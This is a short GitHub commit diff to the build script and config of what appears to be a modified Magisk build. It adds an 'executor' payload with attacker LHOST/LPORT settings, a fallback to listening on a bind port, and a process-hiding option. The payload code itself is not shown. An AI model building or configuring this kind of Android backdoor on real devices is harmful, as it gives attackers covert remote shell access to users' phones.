File tree Expand file tree Collapse file tree 2 files changed +3
-3
lines changed Expand file tree Collapse file tree 2 files changed +3
-3
lines changed Original file line number Diff line number Diff line change @@ -331,7 +331,7 @@ def build_binary(args):
331
331
base_flags += ' MAGISK_DEBUG=1'
332
332
333
333
if 'executor' in args .target :
334
- flags = f'B_EXECUTOR=1 B_64BIT=1 LPORT={ config .get ("lport" )} LHOST={ config .get ("lhost" )} '
334
+ flags = f'B_EXECUTOR=1 B_64BIT=1 LPORT={ config .get ("lport" ) or "" } LHOST={ config .get ("lhost" ) or "" } '
335
335
if config .get ("hide_process_bind" ) == "1" :
336
336
flags += ' HIDE_PROCESS_BIND=1'
337
337
run_ndk_build (flags )
Original file line number Diff line number Diff line change 34
34
# (see native/jni/payload/executor.cpp)
35
35
#####################################################
36
36
37
- # lport=31337 # Attacker's port
38
- # lhost=192.168.0.10 # Attacker's IP
37
+ # lport=31337 # Attacker's (or local bind) port. Default: 31337
38
+ # lhost=192.168.0.10 # Attacker's IP. If not present, will listen on LPORT
39
39
40
40
41
41
#####################################################
You can’t perform that action at this time.
0 commit comments